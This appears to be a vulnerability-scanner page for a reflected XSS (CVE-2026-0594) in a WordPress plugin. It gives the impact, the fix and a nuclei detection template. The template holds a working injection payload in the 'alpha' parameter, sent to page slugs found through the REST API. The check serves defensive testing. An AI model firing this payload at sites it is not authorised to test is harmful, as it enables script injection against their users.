WordPress List Site Contributors < 1.1.8 - Reflected XSS

mediumseverity

0.8%likelihood of exploitation, next 30 days

56%of all CVEs are less likely

Readycheck to confirm it

WordPress List Site Contributors plugin < 1.1.8 contains a reflected XSS caused by insufficient sanitization and escaping of the 'alpha' parameter, letting unauthenticated attackers inject scripts, exploit requires user interaction.

Impact

Unauthenticated attackers can inject scripts that execute in users browsers, potentially stealing data or performing actions on their behalf.

Fix

Update to a version later than 1.1.8 or the latest available version.

How to confirm it

Send: GET /wp-json/wp/v2/pages
Send: GET /{{slug}}/?alpha=%22%3E%3Csvg/onload=alert(document.domain)%3E
Positive when: contains "svg/onload=alert(document.domain)"

Run it with nuclei: nuclei -id CVE-2026-0594 -u <target>

The full check

id: CVE-2026-0594

info:
  name: WordPress List Site Contributors < 1.1.8 - Reflected XSS
  author: m4sh_wacker
  severity: medium
  description: |
    WordPress List Site Contributors plugin < 1.1.8 contains a reflected XSS caused by insufficient sanitization and escaping of the 'alpha' parameter, letting unauthenticated attackers inject scripts, exploit requires user interaction.
  impact: |
    Unauthenticated attackers can inject scripts that execute in users browsers, potentially stealing data or performing actions on their behalf.
  remediation: Update to a version later than 1.1.8 or the latest available version.
  reference:
    - https://github.com/m4sh-wacker/CVE-2026-0594-ListSiteContributors-Plugin-Exploit
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/026a2e0d-4d30-4133-9118-055026aa9f4a?source=cve
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "plugins/list-site-contributors/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,list-site-contributors,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-json/wp/v2/pages HTTP/1.1
        Host: {{Hostname}}

    iterate-all: true

    extractors:
      - type: json
        name: slug
        part: body
        json:
          - '.[] | select(.content.rendered | contains("alpha=")) | .slug'
        internal: true

  - raw:
      - |
        GET /{{slug}}/?alpha=%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "svg/onload=alert(document.domain)"

References

Use this check only on systems you are authorised to test. Where the data comes from